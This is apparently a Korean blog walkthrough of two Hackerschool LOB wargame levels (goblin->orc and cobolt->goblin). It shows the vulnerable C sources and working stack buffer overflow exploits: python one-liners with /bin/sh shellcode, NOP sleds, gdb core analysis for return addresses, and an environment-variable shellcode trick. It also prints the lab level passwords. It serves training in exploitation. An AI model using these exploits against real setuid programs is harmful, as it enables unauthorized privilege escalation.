반응형
반응형
반응형


해커스쿨 LOB LEVEL4 [goblin -> orc] 풀이


M4ndU




해커스쿨 LOB [goblin -> orc] 풀이입니다.


ID | goblin

PW | hackers proof


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: goblin

Password:

[goblin@localhost goblin]$ bash2

[goblin@localhost goblin]$ ls -l

total 20

-rwsr-sr-x    1 orc      orc         12567 Feb 26  2010 orc

-rw-r--r--    1 root     root          505 Mar 29  2010 orc.c

[goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 두가지 조건이 있네요.

        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


환경변수부분을 0으로 설정해 버려서 환경변수를 사용할 수 없네요.


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


그리고 리턴주소의 첫바이트는 0xbf이어야 하네요.

스택영역을 사용하면 되기 때문에 쉘코드를 buffer에 넣겠습니다. 그러면


./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+RET'`


가 되겠네요.


쉘코드가 있는 곳을 알아봅시다.

문제파일을 복사해서 core파일을 분석하면 됩니다.


[goblin@localhost tmp]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff\xff\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ??

Segmentation fault (core dumped)

[goblin@localhost tmp]$ gdb -c core -q

Core was generated by `./orc 릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                                                      ??.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/500x $esp

0xbffffaf0:     0x00000000      0xbffffb34      0xbffffb40      0x40013868

0xbffffb00:     0x00000002      0x08048450      0x00000000      0x08048471

 (생략)

0xbffffc20:     0x00000000      0x00000000      0x69000000      0x00363836

0xbffffc30:     0x726f2f2e      0x90900063      0x90909090      0x90909090

0xbffffc40:     0x90909090      0x90909090      0x50c03190      0x732f2f68

0xbffffc50:     0x622f6868      0xe3896e69      0xe1895350      0x0bb0c289

0xbffffc60:     0xffff80cd      0x0000bfff      0x00000000      0x00000000

 (생략)


우리가 입력한 값들이 보이네요.

리턴주소를 0xbffffc40으로 잡겠습니다.


[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x40\xfc\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ?@??

bash$ my-pass

euid = 504

cantata

bash$


성공입니다. 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ




반응형
반응형


해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이


M4ndU




해커스쿨 LOB [cobolt -> goblin] 풀이입니다.


ID | cobolt

PW | hacking exposed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: cobolt

Password:

[cobolt@localhost cobolt]$ bash2

[cobolt@localhost cobolt]$ ls -l

total 16

-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin

-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}




저번과 같은데 입력을 gets함수로 받네요. 

환경변수 설정하겠습니다. 이번에도 41바이트 쉘코드를 사용합니다.



[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[cobolt@localhost cobolt]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[cobolt@localhost cobolt]$ gcc getenv.c -o getenv

[cobolt@localhost cobolt]$ ./getenv

ADDR -> 0xbffffea7




[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa7\xfe\xff\xbf"'; cat) | ./goblin

AAAAAAAAAAAAAAAAAAAA??

my-pass

euid = 503

hackers proof


다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts